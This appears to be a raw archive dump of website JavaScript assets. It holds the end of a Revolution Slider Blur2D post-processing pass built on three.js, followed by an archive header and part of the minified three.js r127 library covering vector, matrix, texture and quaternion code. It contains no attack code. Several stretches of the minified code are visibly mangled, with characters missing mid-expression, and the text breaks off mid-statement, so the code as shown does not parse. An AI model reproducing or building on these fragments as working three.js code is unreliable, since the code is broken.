gl_FragColor = vec4(Color.xyz, 1.0); }` }; /** * Directional blur post-process with Blur2D shader */ THREE.Blur2D = function ( scene, camera, params ) { THREE.Pass.call( this ); this.scene = scene; this.camera = camera; var left = params.left === undefined ? 0 : params.left; var top = params.top === undefined ? 0 : params.top; if(left === 0 && top === 0) left = 1.0; // render targets var width = params.width || window.innerWidth || 1; var height = params.height || window.innerHeight || 1; this.renderTargetDepth = new THREE.WebGLRenderTarget( width, height, { minFilter: THREE.NearestFilter, magFilter: THREE.NearestFilter } ); this.renderTargetDepth.texture.name = 'Blur2D.depth'; // blur2d material if ( THREE.Blur2dShader === undefined ) console.error( 'THREE.Blur2D relies on THREE.Blur2dShader' ); var Blur2dShader = THREE.Blur2dShader; var blur2dUniforms = THREE.UniformsUtils.clone( Blur2dShader.uniforms ); blur2dUniforms[ 'intensity' ].value = params.intensity !== undefined ? params.intensity : 0.1; blur2dUniforms[ 'progress' ].value = 0.0; blur2dUniforms[ 'left' ].value = left; blur2dUniforms[ 'top' ].value = top; this.materialBlur2d = new THREE.ShaderMaterial( { uniforms: blur2dUniforms, vertexShader: Blur2dShader.vertexShader, fragmentShader: Blur2dShader.fragmentShader } ); this.uniforms = blur2dUniforms; this.needsSwap = false; this.fsQuad = new THREE.Pass.FullScreenQuad( this.materialBlur2d ); this._oldClearColor = new THREE.Color(); }; THREE.Blur2D.prototype = Object.assign( Object.create( THREE.Pass.prototype ), { constructor: THREE.Blur2D, render: function ( renderer, writeBuffer, readBuffer/*, deltaTime, maskActive*/ ) { // Render depth into texture renderer.getClearColor( this._oldClearColor ); var oldClearAlpha = renderer.getClearAlpha(); var oldAutoClear = renderer.autoClear; renderer.autoClear = false; renderer.setClearColor( 0xffffff ); renderer.setClearAlpha( 1.0 ); renderer.setRenderTarget( this.renderTargetDepth ); renderer.clear(); renderer.render( this.scene, this.camera ); // Render blur2d composite this.uniforms[ 'tColor' ].value = readBuffer.texture; if ( this.renderToScreen ) { renderer.setRenderTarget( null ); this.fsQuad.render( renderer ); } else { renderer.setRenderTarget( writeBuffer ); renderer.clear(); this.fsQuad.render( renderer ); } this.scene.overrideMaterial = null; renderer.setClearColor( this._oldClearColor ); renderer.setClearAlpha( oldClearAlpha ); renderer.autoClear = oldAutoClear; } } ); var _R = _R_is_Editor ? RVS._R : jQuery.fn.revolution; _R.postProcessing = _R.postProcessing || {}; _R.postProcessing.blur2d = { init: function(renderer, scene, camera, opt) { let PP = {}; PP.type = "blur2d"; PP.renderPass = new THREE.RenderPass( scene, camera ); PP.blur2D = new THREE.Blur2D( scene, camera, { progress: opt.progress, intensity: opt.intensity, left: opt.left, top: opt.top, width: opt.width, height: opt.height }); PP.composer = new THREE.EffectComposer( renderer); PP.composer.addPass( PP.renderPass ); PP.composer.addPass( PP.blur2D ); return PP; } } } public/assets/js/libs/three.min.js000060400002346642151724235750013150 0ustar00/** * @license * Copyright 2010-2021 Three.js Authors * SPDX-License-Identifier: MIT */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).THREE={})}(this,(function(t){"use strict";const e="127",n=100,i=300,r=301,s=302,a=303,o=304,l=306,c=307,h=1e3,u=1001,d=1002,p=1003,f=1004,m=1005,g=1006,v=1007,y=1008,x=1009,_=1012,b=1014,w=1015,M=1016,S=1020,T=1022,E=1023,A=1026,L=1027,R=33776,C=33777,P=33778,D=33779,I=35840,N=35841,B=35842,O=35843,z=37492,F=37496,H=2300,U=2301,G=2302,k=2400,V=2401,W=2402,j=2500,q=2501,X=3e3,Y=3001,Z=3007,J=3002,Q=3004,K=3005,$=3006,tt=7680,et=35044,nt=35048,it="300 es";function rt(){}Object.assign(rt.prototype,{addEventListener:function(t,e){void 0===this._listeners&&(this._listeners={});const n=this._listeners;void 0===n[t]&&(n[t]=[]),-1===n[t].indexOf(e)&&n[t].push(e)},hasEventListener:function(t,e){if(void 0===this._listeners)return!1;const n=this._listeners;return void 0!==n[t]&&-1!==n[t].indexOf(e)},removeEventListener:function(t,e){if(void 0===this._listeners)return;const n=this._listeners[t];if(void 0!==n){const t=n.indexOf(e);-1!==t&&n.splice(t,1)}},dispatchEvent:function(t){if(void 0===this._listeners)return;const e=this._listeners[t.type];if(void 0!==e){t.target=this;const n=e.slice(0);for(let e=0,i=n.length;e>8&255]+st[t>>16&255]+st[t>>24&255]+"-"+st[255&e]+st[e>>8&255]+"-"+st[e>>16&15|64]+st[e>>24&255]+"-"+st[63&n|128]+st[n>>8&255]+"-"+st[n>>16&255]+st[n>>24&255]+st[255&i]+st[i>>8&255]+st[i>>16&255]+st[i>>24&255]).toUpperCase()},clamp:function(t,e,n){return Math.max(e,Math.min(n,t))},euclideanModulo:function(t,e){return(t%e+e)%e},mapLinear:function(t,e,n,i,r){return i+(t-e)*(r-i)/(n-e)},inverseLerp:function(t,e,n){return t!==e?(n-t)/(e-t):0},lerp:function(t,e,n){return(1-n)*t+n*e},damp:function(t,e,n,i){return ot.lerp(t,e,1-Math.exp(-n*i))},pingpong:function(t,e=1){return e-Math.abs(ot.euclideanModulo(t,2*e)-e)},smoothstep:function(t,e,n){return t<=e?0:t>=n?1:(t=(t-e)/(n-e))*t*(3-2*t)},smootherstep:function(t,e,n){return t<=e?0:t>=n?1:(t=(t-e)/(n-e))*t*t*(t*(6*t-15)+10)},randInt:function(t,e){return t+Math.floor(Math.random()*(e-t+1))},randFloat:function(t,e){return t+Math.random()*(e-t)},randFloatSpread:function(t){return t*(.5-Math.random())},seededRandom:function(t){return void 0!==t&&(at=t%2147483647),at=16807*at%2147483647,(at-1)/2147483646},degToRad:function(t){return t*ot.DEG2RAD},radToDeg:function(t){return t*ot.RAD2DEG},isPowerOfTwo:function(t){return 0==(t&t-1)&&0!==t},ceilPowerOfTwo:function(t){return Math.pow(2,Math.ceil(Math.log(t)/Math.LN2))},floorPowerOfTwo:function(t){return Math.pow(2,Math.floor(Math.log(t)/Math.LN2))},setQuaternionFromProperEuler:function(t,e,n,i,r){const s=Math.cos,a=Math.sin,o=s(n/2),l=a(n/2),c=s((e+i)/2),h=a((e+i)/2),u=s((e-i)/2),d=a((e-i)/2),p=s((i-e)/2),f=a((i-e)/2);switch(r){case"XYX":t.set(o*h,l*u,l*d,o*c);break;case"YZY":t.set(l*d,o*h,l*u,o*c);break;case"ZXZ":t.set(l*u,l*d,o*h,o*c);break;case"XZX":t.set(o*h,l*f,l*p,o*c);break;case"YXY":t.set(l*p,o*h,l*f,o*c);break;case"ZYZ":t.set(l*f,l*p,o*h,o*c);break;default:console.warn("THREE.MathUtils: .setQuaternionFromProperEuler() encountered an unknown order: "+r)}}};class lt{constructor(t=0,e=0){this.x=t,this.y=e}get width(){return this.x}set width(t){this.x=t}get height(){return this.y}set height(t){this.y=t}set(t,e){return this.x=t,this.y=e,this}setScalar(t){return this.x=t,this.y=t,this}setX(t){return this.x=t,this}setY(t){return this.y=t,this}setComponent(t,e){switch(t){case 0:this.x=e;break;case 1:this.y=e;break;default:throw new Error("index is out of range: "+t)}return this}getComponent(t){switch(t){case 0:return this.x;case 1:return this.y;default:throw new Error("index is out of range: "+t)}}clone(){return new this.constructor(this.x,this.y)}copy(t){return this.x=t.x,this.y=t.y,this}add(t,e){return void 0!==e?(console.warn("THREE.Vector2: .add() now only accepts one argument. Use .addVectors( a, b ) instead."),this.addVectors(t,e)):(this.x+=t.x,this.y+=t.y,this)}addScalar(t){return this.x+=t,this.y+=t,this}addVectors(t,e){return this.x=t.x+e.x,this.y=t.y+e.y,this}addScaledVector(t,e){return this.x+=t.x*e,this.y+=t.y*e,this}sub(t,e){return void 0!==e?(console.warn("THREE.Vector2: .sub() now only accepts one argument. Use .subVectors( a, b ) instead."),this.subVectors(t,e)):(this.x-=t.x,this.y-=t.y,this)}subScalar(t){return this.x-=t,this.y-=t,this}subVectors(t,e){return this.x=t.x-e.x,this.y=t.y-e.y,this}multiply(t){return this.x*=t.x,this.y*=t.y,this}multiplyScalar(t){return this.x*=t,this.y*=t,this}divide(t){return this.x/=t.x,this.y/=t.y,this}divideScalar(t){return this.multiplyScalar(1/t)}applyMatrix3(t){const e=this.x,n=this.y,i=t.elements;return this.x=i[0]*e+i[3]*n+i[6],this.y=i[1]*e+i[4]*n+i[7],this}min(t){return this.x=Math.min(this.x,t.x),this.y=Math.min(this.y,t.y),this}max(t){return this.x=Math.max(this.x,t.x),this.y=Math.max(this.y,t.y),this}clamp(t,e){return this.x=Math.max(t.x,Math.min(e.x,this.x)),this.y=Math.max(t.y,Math.min(e.y,this.y)),this}clampScalar(t,e){return this.x=Math.max(t,Math.min(e,this.x)),this.y=Math.max(t,Math.min(e,this.y)),this}clampLength(t,e){const n=this.length();return this.divideScalar(n||1).multiplyScalar(Math.max(t,Math.min(e,n)))}floor(){return this.x=Math.floor(this.x),this.y=Math.floor(this.y),this}ceil(){return this.x=Math.ceil(this.x),this.y=Math.ceil(this.y),this}round(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this}roundToZero(){return this.x=this.x<0?Math.ceil(this.x):Math.floor(this.x),this.y=this.y<0?Math.ceil(this.y):Math.floor(this.y),this}negate(){return this.x=-this.x,this.y=-this.y,this}dot(t){return this.x*t.x+this.y*t.y}cross(t){return this.x*t.y-this.y*t.x}lengthSq(){return this.x*this.x+this.y*this.y}length(){return Math.sqrt(this.x*this.x+this.y*this.y)}manhattanLength(){return Math.abs(this.x)+Math.abs(this.y)}normalize(){return this.divideScalar(this.length()||1)}angle(){return Math.atan2(-this.y,-this.x)+Math.PI}distanceTo(t){return Math.sqrt(this.distanceToSquared(t))}distanceToSquared(t){const e=this.x-t.x,n=this.y-t.y;return e*e+n*n}manhattanDistanceTo(t){return Math.abs(this.x-t.x)+Math.abs(this.y-t.y)}setLength(t){return this.normalize().multiplyScalar(t)}lerp(t,e){return this.x+=(t.x-this.x)*e,this.y+=(t.y-this.y)*e,this}lerpVectors(t,e,n){return this.x=t.x+(e.x-t.x)*n,this.y=t.y+(e.y-t.y)*n,this}equals(t){return t.x===this.x&&t.y===this.y}fromArray(t,e=0){return this.x=t[e],this.y=t[e+1],this}toArray(t=[],e=0){return t[e]=this.x,t[e+1]=this.y,t}fromBufferAttribute(t,e,n){return void 0!==n&&console.warn("THREE.Vector2: offset has been removed from .fromBufferAttribute()."),this.x=t.getX(e),this.y=t.getY(e),this}rotateAround(t,e){const n=Math.cos(e),i=Math.sin(e),r=this.x-t.x,s=this.y-t.y;return this.x=r*n-s*i+t.x,this.y=r*i+s*n+t.y,this}random(){return this.x=Math.random(),this.y=Math.random(),this}}lt.prototype.isVector2=!0;class ct{constructor(){this.elements=[1,0,0,0,1,0,0,0,1],arguments.length>0&&console.error("THREE.Matrix3: the constructor no longer reads arguments. use .set() instead.")}set(t,e,n,i,r,s,a,o,l){const c=this.elements;return c[0]=t,c[1]=i,c[2]=a,c[3]=e,c[4]=r,c[5]=o,c[6]=n,c[7]=s,c[8]=l,this}identity(){return this.set(1,0,0,0,1,0,0,0,1),this}copy(t){const e=this.elements,n=t.elements;return e[0]=n[0],e[1]=n[1],e[2]=n[2],e[3]=n[3],e[4]=n[4],e[5]=n[5],e[6]=n[6],e[7]=n[7],e[8]=n[8],this}extractBasis(t,e,n){return t.setFromMatrix3Column(this,0),e.setFromMatrix3Column(this,1),n.setFromMatrix3Column(this,2),this}setFromMatrix4(t){const e=t.elements;return this.set(e[0],e[4],e[8],e[1],e[5],e[9],e[2],e[6],e[10]),this}multiply(t){return this.multiplyMatrices(this,t)}premultiply(t){return this.multiplyMatrices(t,this)}multiplyMatrices(t,e){const n=t.elements,i=e.elements,r=this.elements,s=n[0],a=n[3],o=n[6],l=n[1],c=n[4],h=n[7],u=n[2],d=n[5],p=n[8],f=i[0],m=i[3],g=i[6],v=i[1],y=i[4],x=i[7],_=i[2],b=i[5],w=i[8];return r[0]=s*f+a*v+o*_,r[3]=s*m+a*y+o*b,r[6]=s*g+a*x+o*w,r[1]=l*f+c*v+h*_,r[4]=l*m+c*y+h*b,r[7]=l*g+c*x+h*w,r[2]=u*f+d*v+p*_,r[5]=u*m+d*y+p*b,r[8]=u*g+d*x+p*w,this}multiplyScalar(t){const e=this.elements;return e[0]*=t,e[3]*=t,e[6]*=t,e[1]*=t,e[4]*=t,e[7]*=t,e[2]*=t,e[5]*=t,e[8]*=t,this}determinant(){const t=this.elements,e=t[0],n=t[1],i=t[2],r=t[3],s=t[4],a=t[5],o=t[6],l=t[7],c=t[8];return e*s*c-e*a*l-n*r*c+n*a*o+i*r*l-i*s*o}invert(){const t=this.elements,e=t[0],n=t[1],i=t[2],r=t[3],s=t[4],a=t[5],o=t[6],l=t[7],c=t[8],h=c*s-a*l,u=a*o-c*r,d=l*r-s*o,p=e*h+n*u+i*d;if(0===p)return this.set(0,0,0,0,0,0,0,0,0);const f=1/p;return t[0]=h*f,t[1]=(i*l-c*n)*f,t[2]=(a*n-i*s)*f,t[3]=u*f,t[4]=(c*e-i*o)*f,t[5]=(i*r-a*e)*f,t[6]=d*f,t[7]=(n*o-l*e)*f,t[8]=(s*e-n*r)*f,this}transpose(){let t;const e=this.elements;return t=e[1],e[1]=e[3],e[3]=t,t=e[2],e[2]=e[6],e[6]=t,t=e[5],e[5]=e[7],e[7]=t,this}getNormalMatrix(t){return this.setFromMatrix4(t).invert().transpose()}transposeIntoArray(t){const e=this.elements;return t[0]=e[0],t[1]=e[3],t[2]=e[6],t[3]=e[1],t[4]=e[4],t[5]=e[7],t[6]=e[2],t[7]=e[5],t[8]=e[8],this}setUvTransform(t,e,n,i,r,s,a){const o=Math.cos(r),l=Math.sin(r);return this.set(n*o,n*l,-n*(o*s+l*a)+s+t,-i*l,i*o,-i*(-l*s+o*a)+a+e,0,0,1),this}scale(t,e){const n=this.elements;return n[0]*=t,n[3]*=t,n[6]*=t,n[1]*=e,n[4]*=e,n[7]*=e,this}rotate(t){const e=Math.cos(t),n=Math.sin(t),i=this.elements,r=i[0],s=i[3],a=i[6],o=i[1],l=i[4],c=i[7];return i[0]=e*r+n*o,i[3]=e*s+n*l,i[6]=e*a+n*c,i[1]=-n*r+e*o,i[4]=-n*s+e*l,i[7]=-n*a+e*c,this}translate(t,e){const n=this.elements;return n[0]+=t*n[2],n[3]+=t*n[5],n[6]+=t*n[8],n[1]+=e*n[2],n[4]+=e*n[5],n[7]+=e*n[8],this}equals(t){const e=this.elements,n=t.elements;for(let t=0;t<9;t++)if(e[t]!==n[t])return!1;return!0}fromArray(t,e=0){for(let n=0;n<9;n++)this.elements[n]=t[n+e];return this}toArray(t=[],e=0){const n=this.elements;return t[e]=n[0],t[e+1]=n[1],t[e+2]=n[2],t[e+3]=n[3],t[e+4]=n[4],t[e+5]=n[5],t[e+6]=n[6],t[e+7]=n[7],t[e+8]=n[8],t}clone(){return(new this.constructor).fromArray(this.elements)}}let ht;ct.prototype.isMatrix3=!0;const ut={getDataURL:function(t){if(/^data:/i.test(t.src))return t.src;if("undefined"==typeof HTMLCanvasElement)return t.src;let e;if(t instanceof HTMLCanvasElement)e=t;else{void 0===ht&&(ht=document.createElementNS("http://www.w3.org/1999/xhtml","canvas")),ht.width=t.width,ht.height=t.height;const n=ht.getContext("2d");t instanceof ImageData?n.putImageData(t,0,0):n.drawImage(t,0,0,t.width,t.height),e=ht}return e.width>2048||e.height>2048?(console.warn("THREE.ImageUtils.getDataURL: Image converted to jpg for performance reasons",t),e.toDataURL("image/jpeg",.6)):e.toDataURL("image/png")}};let dt=0;class pt extends rt{constructor(t=pt.DEFAULT_IMAGE,e=pt.DEFAULT_MAPPING,n=1001,i=1001,r=1006,s=1008,a=1023,o=1009,l=1,c=3e3){super(),Object.defineProperty(this,"id",{value:dt++}),this.uuid=ot.generateUUID(),this.name="",this.image=t,this.mipmaps=[],this.mapping=e,this.wrapS=n,this.wrapT=i,this.magFilter=r,this.minFilter=s,this.anisotropy=l,this.format=a,this.internalFormat=null,this.type=o,this.offset=new lt(0,0),this.repeat=new lt(1,1),this.center=new lt(0,0),this.rotation=0,this.matrixAutoUpdate=!0,this.matrix=new ct,this.generateMipmaps=!0,this.premultiplyAlpha=!1,this.flipY=!0,this.unpackAlignment=4,this.encoding=c,this.version=0,this.onUpdate=null}updateMatrix(){this.matrix.setUvTransform(this.offset.x,this.offset.y,this.repeat.x,this.repeat.y,this.rotation,this.center.x,this.center.y)}clone(){return(new this.constructor).copy(this)}copy(t){return this.name=t.name,this.image=t.image,this.mipmaps=t.mipmaps.slice(0),this.mapping=t.mapping,this.wrapS=t.wrapS,this.wrapT=t.wrapT,this.magFilter=t.magFilter,this.minFilter=t.minFilter,this.anisotropy=t.anisotropy,this.format=t.format,this.internalFormat=t.internalFormat,this.type=t.type,this.offset.copy(t.offset),this.repeat.copy(t.repeat),this.center.copy(t.center),this.rotation=t.rotation,this.matrixAutoUpdate=t.matrixAutoUpdate,this.matrix.copy(t.matrix),this.generateMipmaps=t.generateMipmaps,this.premultiplyAlpha=t.premultiplyAlpha,this.flipY=t.flipY,this.unpackAlignment=t.unpackAlignment,this.encoding=t.encoding,this}toJSON(t){const e=void 0===t||"string"==typeof t;if(!e&&void 0!==t.textures[this.uuid])return t.textures[this.uuid];const n={metadata:{version:4.5,type:"Texture",generator:"Texture.toJSON"},uuid:this.uuid,name:this.name,mapping:this.mapping,repeat:[this.repeat.x,this.repeat.y],offset:[this.offset.x,this.offset.y],center:[this.center.x,this.center.y],rotation:this.rotation,wrap:[this.wrapS,this.wrapT],format:this.format,type:this.type,encoding:this.encoding,minFilter:this.minFilter,magFilter:this.magFilter,anisotropy:this.anisotropy,flipY:this.flipY,premultiplyAlpha:this.premultiplyAlpha,unpackAlignment:this.unpackAlignment};if(void 0!==this.image){const i=this.image;if(void 0===i.uuid&&(i.uuid=ot.generateUUID()),!e&&void 0===t.images[i.uuid]){let e;if(Array.isArray(i)){e=[];for(let t=0,n=i.length;t1)switch(this.wrapS){case h:t.x=t.x-Math.floor(t.x);break;case u:t.x=t.x<0?0:1;break;case d:1===Math.abs(Math.floor(t.x)%2)?t.x=Math.ceil(t.x)-t.x:t.x=t.x-Math.floor(t.x)}if(t.y<0||t.y>1)switch(this.wrapT){case h:t.y=t.y-Math.floor(t.y);break;case u:t.y=t.y<0?0:1;break;case d:1===Math.abs(Math.floor(t.y)%2)?t.y=Math.ceil(t.y)-t.y:t.y=t.y-Math.floor(t.y)}return this.flipY&&(t.y=1-t.y),t}set needsUpdate(t){!0===t&&this.version++}}function ft(t){return"undefined"!=typeof HTMLImageElement&&t instanceof HTMLImageElement||"undefined"!=typeof HTMLCanvasElement&&t instanceof HTMLCanvasElement||"undefined"!=typeof ImageBitmap&&t instanceof ImageBitmap?ut.getDataURL(t):t.data?{data:Array.prototype.slice.call(t.data),width:t.width,height:t.height,type:t.data.constructor.name}:(console.warn("THREE.Texture: Unable to serialize Texture."),{})}pt.DEFAULT_IMAGE=void 0,pt.DEFAULT_MAPPING=i,pt.prototype.isTexture=!0;class mt{constructor(t=0,e=0,n=0,i=1){this.x=t,this.y=e,this.z=n,this.w=i}get width(){return this.z}set width(t){this.z=t}get height(){return this.w}set height(t){this.w=t}set(t,e,n,i){return this.x=t,this.y=e,this.z=n,this.w=i,this}setScalar(t){return this.x=t,this.y=t,this.z=t,this.w=t,this}setX(t){return this.x=t,this}setY(t){return this.y=t,this}setZ(t){return this.z=t,this}setW(t){return this.w=t,this}setComponent(t,e){switch(t){case 0:this.x=e;break;case 1:this.y=e;break;case 2:this.z=e;break;case 3:this.w=e;break;default:throw new Error("index is out of range: "+t)}return this}getComponent(t){switch(t){case 0:return this.x;case 1:return this.y;case 2:return this.z;case 3:return this.w;default:throw new Error("index is out of range: "+t)}}clone(){return new this.constructor(this.x,this.y,this.z,this.w)}copy(t){return this.x=t.x,this.y=t.y,this.z=t.z,this.w=void 0!==t.w?t.w:1,this}add(t,e){return void 0!==e?(console.warn("THREE.Vector4: .add() now only accepts one argument. Use .addVectors( a, b ) instead."),this.addVectors(t,e)):(this.x+=t.x,this.y+=t.y,this.z+=t.z,this.w+=t.w,this)}addScalar(t){return this.x+=t,this.y+=t,this.z+=t,this.w+=t,this}addVectors(t,e){return this.x=t.x+e.x,this.y=t.y+e.y,this.z=t.z+e.z,this.w=t.w+e.w,this}addScaledVector(t,e){return this.x+=t.x*e,this.y+=t.y*e,this.z+=t.z*e,this.w+=t.w*e,this}sub(t,e){return void 0!==e?(console.warn("THREE.Vector4: .sub() now only accepts one argument. Use .subVectors( a, b ) instead."),this.subVectors(t,e)):(this.x-=t.x,this.y-=t.y,this.z-=t.z,this.w-=t.w,this)}subScalar(t){return this.x-=t,this.y-=t,this.z-=t,this.w-=t,this}subVectors(t,e){return this.x=t.x-e.x,this.y=t.y-e.y,this.z=t.z-e.z,this.w=t.w-e.w,this}multiply(t){return this.x*=t.x,this.y*=t.y,this.z*=t.z,this.w*=t.w,this}multiplyScalar(t){return this.x*=t,this.y*=t,this.z*=t,this.w*=t,this}applyMatrix4(t){const e=this.x,n=this.y,i=this.z,r=this.w,s=t.elements;return this.x=s[0]*e+s[4]*n+s[8]*i+s[12]*r,this.y=s[1]*e+s[5]*n+s[9]*i+s[13]*r,this.z=s[2]*e+s[6]*n+s[10]*i+s[14]*r,this.w=s[3]*e+s[7]*n+s[11]*i+s[15]*r,this}divideScalar(t){return this.multiplyScalar(1/t)}setAxisAngleFromQuaternion(t){this.w=2*Math.acos(t.w);const e=Math.sqrt(1-t.w*t.w);return e<1e-4?(this.x=1,this.y=0,this.z=0):(this.x=t.x/e,this.y=t.y/e,this.z=t.z/e),this}setAxisAngleFromRotationMatrix(t){let e,n,i,r;const s=.01,a=.1,o=t.elements,l=o[0],c=o[4],h=o[8],u=o[1],d=o[5],p=o[9],f=o[2],m=o[6],g=o[10];if(Math.abs(c-u)o&&t>v?tv?o=0?1:-1,i=1-e*e;if(i>Number.EPSILON){const r=Math.sqrt(i),s=Math.atan2(r,e*n);t=Math.sin(t*s)/r,a=Math.sin(a*s)/r}const r=a*n;if(o=o*t+u*r,l=l*t+d*r,c=c*t+p*r,h=h*t+f*r,t===1-a){const t=1/Math.sqrt(o*o+l*l+c*c+h*h);o*=t,l*=t,c*=t,h*=t}}t[e]=o,t[e+1]=l,t[e+2]=c,t[e+3]=h}static multiplyQuaternionsFlat(t,e,n,i,r,s){const a=n[i],o=n[i+1],l=n[i+2],c=n[i+3],h=r[s],u=r[s+1],d=r[s+2],p=r[s+3];return t[e]=a*p+c*h+o*d-l*u,t[e+1]=o*p+c*u+l*h-a*d,t[e+2]=l*p+c*d+a*u-o*h,t[e+3]=c*p-a*h-o*u-l*d,t}get x(){return this._x}set x(t){this._x=t,this._onChangeCallback()}get y(){return this._y}set y(t){this._y=t,this._onChangeCallback()}get z(){return this._z}set z(t){this._z=t,this._onChangeCallback()}get w(){return this._w}set w(t){this._w=t,this._onChangeCallback()}set(t,e,n,i){return this._x=t,this._y=e,this._z=n,this._w=i,this._onChangeCallback(),this}clone(){return new this.constructor(this._x,this._y,this._z,this._w)}copy(t){return this._x=t.x,this._y=t.y,this._z=t.z,this._w=t.w,this._onChangeCallback(),this}setFromEuler(t,e){if(!t||!t.isEuler)throw new Error("THREE.Quaternion: .setFromEuler() now expects an Euler rotation rather than a Vector3 and order.");const n=t._x,i=t._y,r=t._z,s=t._order,a=Math.cos,o=Math.sin,l=a(n/2),c=a(i/2),h=a(r/2),u=o(n/2),d=o(i/2),p=o(r/2);switch(s){case"XYZ":this._x=u*c*h+l*d*p,this._y=l*d*h-u*c*p,this._z=l*c*p+u*d*h,this._w=l*c*h-u*d*p;break;case"YXZ":this._x=u*c*h+l*d*p,this._y=l*d*h-u*c*p,this._z=l*c*p-u*d*h,this._w=l*c*h+u*d*p;break;case"ZXY":this._x=u*c*h-l*d*p,this._y=l*d*h+u*c*p,this._z=l*c*p+u*d*h,this._w=l*c*h-u*d*p;break;case"ZYX":this._x=u*c*h-l*d*p,this._y=l*d*h+u*c*p,this._z=l*c*p-u*d*h,this._w=l*c*h+u*d*p;break;case"YZX":this._x=u*c*h+l*d*p,this._y=l*d*h+u*c*p,this._z=l*c*p-u*d*h,this._w=l*c*h-u*d*p;break;case"XZY":this._x=u*c*h-l*d*p,this._y=l*d*h-u*c*p,this._z=l*c*p+u*d*h,this._w=l*c*h+u*d*p;break;default:console.warn("THREE.Quaternion: .setFromEuler() encountered an unknown order: "+s)}return!1!==e&&this._onChangeCallback(),this}setFromAxisAngle(t,e){const n=e/2,i=Math.sin(n);return this._x=t.x*i,this._y=t.y*i,this._z=t.z*i,this._w=Math.cos(n),this._onChangeCallback(),this}setFromRotationMatrix(t){const e=t.elements,n=e[0],i=e[4],r=e[8],s=e[1],a=e[5],o=e[9],l=e[2],c=e[6],h=e[10],u=n+a+h;if(u>0){const t=.5/Math.sqrt(u+1);this._w=.25/t,this._x=(c-o)*t,this._y=(r-l)*t,this._z=(s-i)*t}else if(n>a&&n>h){const t=2*Math.sqrt(1+n-a-h);this._w=(c-o)/t,this._x=.25*t,this._y=(i+s)/t,this._z=(r+l)/t}else if(a>h){const t=2*Math.sqrt(1+a-n-h);this._w=(r-l)/t,this._x=(i+s)/t,this._y=.25*t,this._z=(o+c)/t}else{const t=2*Math.sqrt(1+h-n-a);this._w=(s-i)/t,this._x=(r+l)/t,this._y=(o+c)/t,this._z=.25*t}return this._onChangeCallback(),this}setFromUnitVectors(t,e){let n=t.dot(e)+1;return nMath.abs(t.z)?(this._x=-t.y,this._y=t.x,this._z=0,this._w=n):(this._x=0,this._y=-t.z,this._z=t.y,this._w=n)):(this._x=t.y*e.z-t.z*e.y,this._y=t.z*e.x-t.x*e.z,this._z=t.x*e.y-t.y*e.x,this._w=n),this.normalize()}angleTo(t){return 2*Math.acos(Math.abs(ot.clamp(this.dot(t),-1,1)))}rotateTowards(t,e){const n=this.angleTo(t);if(0===n)return this;const i=Math.min(1,e/n);return this.slerp(t,i),this}identity(){return this.set(0,0,0,1)}invert(){return this.conjugate()}conjugate(){return this._x*=-1,this._y*=-1,this._z*=-1,this._onChangeCallback(),this}dot(t){return this._x*t._x+this._y*t._y+this._z*t._z+this._w*t._w}lengthSq(){return this._x*this._x+this._y*this._y+this._z*this._z+this._w*this._w}length(){return Math.sqrt(this._x*this._x+this._y*this._y+this._z*this._z+this._w*this._w)}normalize(){let t=this.length();return 0===t?(this._x=0,this._y=0,this._z=0,this._w=1):(t=1/t,this._x=this._x*t,this._y=this._y*t,this._z=this._z*t,this._w=this._w*t),this._onChangeCallback(),this}multiply(t,e){return void 0!==e?(console.warn("THREE.Quaternion: .multiply() now only accepts one argument. Use .multiplyQuaternions( a, b ) instead."),this.multiplyQuaternions(t,e)):this.multiplyQuaternions(this,t)}premultiply(t){return this.multiplyQuaternions(t,this)}multiplyQuaternions(t,e){const n=t._x,i=t._y,r=t._z,s=t._w,a=e._x,o=e._y,l=e._z,c=e._w;return this._x=n*c+s*a+i*l-r*o,this._y=i*c+s*o+r*a-n*l,this._z=r*c+s*l+n*o-i*a,this._w=s*c-n*a-i*o-r*l,this._onChangeCallback(),this}slerp(t,e){if(0===e)return this;if(1===e)return this.copy(t);const n=this._x,i=this._y,r=this._z,s=this._w;let a=s*t._w+n*t._x+i*t._y+r*t._z;if(a<0?(this._w=-t._w,this._x=-t._x,this._y=-t._y,this._z=-t._z,a=-a):this.copy(t),a>=1)return this._w=s,this._x=n,this._y=i,this._z=r,this;const o=1-a*a;if(o<=Number.EPSILON){const t=1-e;return this._w=t*s+e*this._w,this._x=t*n+e*this._x,this._y=t*i+e*this._y,this._z=t*r+e*this._z,this.normalize(),this._onChangeCallback(),this}const l=Math.sqrt(o),c=Math.atan2(l,a),h=Math.sin((1-e)*c)/l,u=Math.sin(e*c)/l;return this._w=s*h+this._w*u,this._x=n*h+this._x*u,this._y=i*h+this._y*u,this._z=r*h+this._z*u,this._onChangeCallback(),this}slerpQuaternions(t,e,n){this.copy(t).slerp(e,n)}equals(t){return t._x===this._x&&t._y===this._y&&t._z===this._z&&t._w===this._w}fromArray(t,e=0){return this._x=t[e],this._y=t[e+1],this._z=t[e+2],this._w=t[e+3],this._onChangeCallback(),this}toArray(t=[],e=0){return t[e]=this._x,t[e+1]=this._y,t[e+2]=this._z,t[e+3]=this._w,t}fromBufferAttribute(t,e){return this._x=t.getX(e),this._y=t.getY(e),this._z=t.getZ(e),this._w=t.getW(e),this}_onChange(t){return this._onChangeCallback=t,this}_onChangeCallback(){}}yt.prototype.isQuaternion=!0;class xt{constructor(t=0,e=0,n=0){this.x=t,this.y=e,this.z=n}set(t,e,n){return void 0===n&&(n=this.z),this.x=t,this.y=e,this.z=n,this}setScalar(t){return this.x=t,this.y=t,this.z=t,this}setX(t){return this.x=t,this}setY(t){return this.y=t,this}setZ(t){return this.z=t,this}setComponent(t,e){switch(t){case 0:this.x=e;break;case 1:this.y=e;break;case 2:this.z=e;break;default:throw new Error("index is out of range: "+t)}return this}getComponent(t){switch(t){case 0:return this.x;case 1:return this.y;case 2:return this.z;default:throw new Error("index is out of range: "+t)}}clone(){return new this.constructor(this.x,this.y,this.z)}copy(t){return this.x=t.x,this.y=t.y,this.z=t.z,this}add(t,e){return void 0!==e?(console.warn("THREE.Vector3: .add() now only accepts one argument. Use .addVectors( a, b ) instead."),this.addVectors(t,e)):(this.x+=t.x,this.y+=t.y,this.z+=t.z,this)}addScalar(t){return this.x+=t,this.y+=t,this.z+=t,this}addVectors(t,e){return this.x=t.x+e.x,this.y=t.y+e.y,this.z=t.z+e.z,this}addScaledVector(t,e){return this.x+=t.x*e,this.y+=t.y*e,this.z+=t.z*e,this}sub(t,e){return void 